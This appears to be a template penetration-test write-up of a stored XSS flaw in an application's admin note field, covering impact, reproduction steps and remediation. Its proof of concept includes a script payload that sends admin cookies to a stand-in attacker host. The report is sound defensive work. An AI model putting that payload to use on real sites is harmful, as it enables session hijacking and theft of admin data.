Penetration Testing Writeup: XSS in Admin Panel
Executive Summary
A Stored Cross-Site Scripting (XSS) vulnerability was found in [Target Application]’s admin panel during a penetration test. This allows attackers to inject scripts into admin inputs, affecting admin users. This report details the issue and remediation steps.
Vulnerability Details
- Vulnerability Type: Cross-Site Scripting (XSS) - Stored
- Severity: Critical
- Affected Component: Admin note field
- CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Location:
https://[target-application]/admin/notes - Discovered By: [PenTester Name]
- Date Discovered: August 30, 2025
Description
The admin note field does not sanitize inputs before storing and displaying them, allowing script execution in the admin panel.
Impact
- Admin Account Takeover: Admin cookies can be stolen.
- Data Exfiltration: Admin data can be sent to attackers.
- Phishing: Fake forms can capture admin credentials.
- System Compromise: Admin access can lead to full system control.
Proof of Concept
- In the admin panel, add a note:
<script>alert('Stored XSS');</script>. - View the note and observe the alert.
- Malicious payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.
Steps to Reproduce
- Log in to
https://[target-application]/admin/notes. - Add a note with
<script>alert('Stored XSS');</script>. - View the note to confirm the alert.
Remediation Recommendations
- Input Sanitization:
- Use OWASP AntiSamy for note inputs.
- Output Encoding:
- Encode notes before rendering.
- Content Security Policy:
- Apply CSP:
Content-Security-Policy: script-src 'self';.
- Apply CSP:
- Secure Development:
- Train admins and developers on XSS prevention.
- Security Testing:
- Conduct regular audits.
Conclusion
The Stored XSS vulnerability in [Target Application]’s admin panel is critical and requires immediate remediation.
References
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: https://cwe.mitre.org/data/definitions/79.html
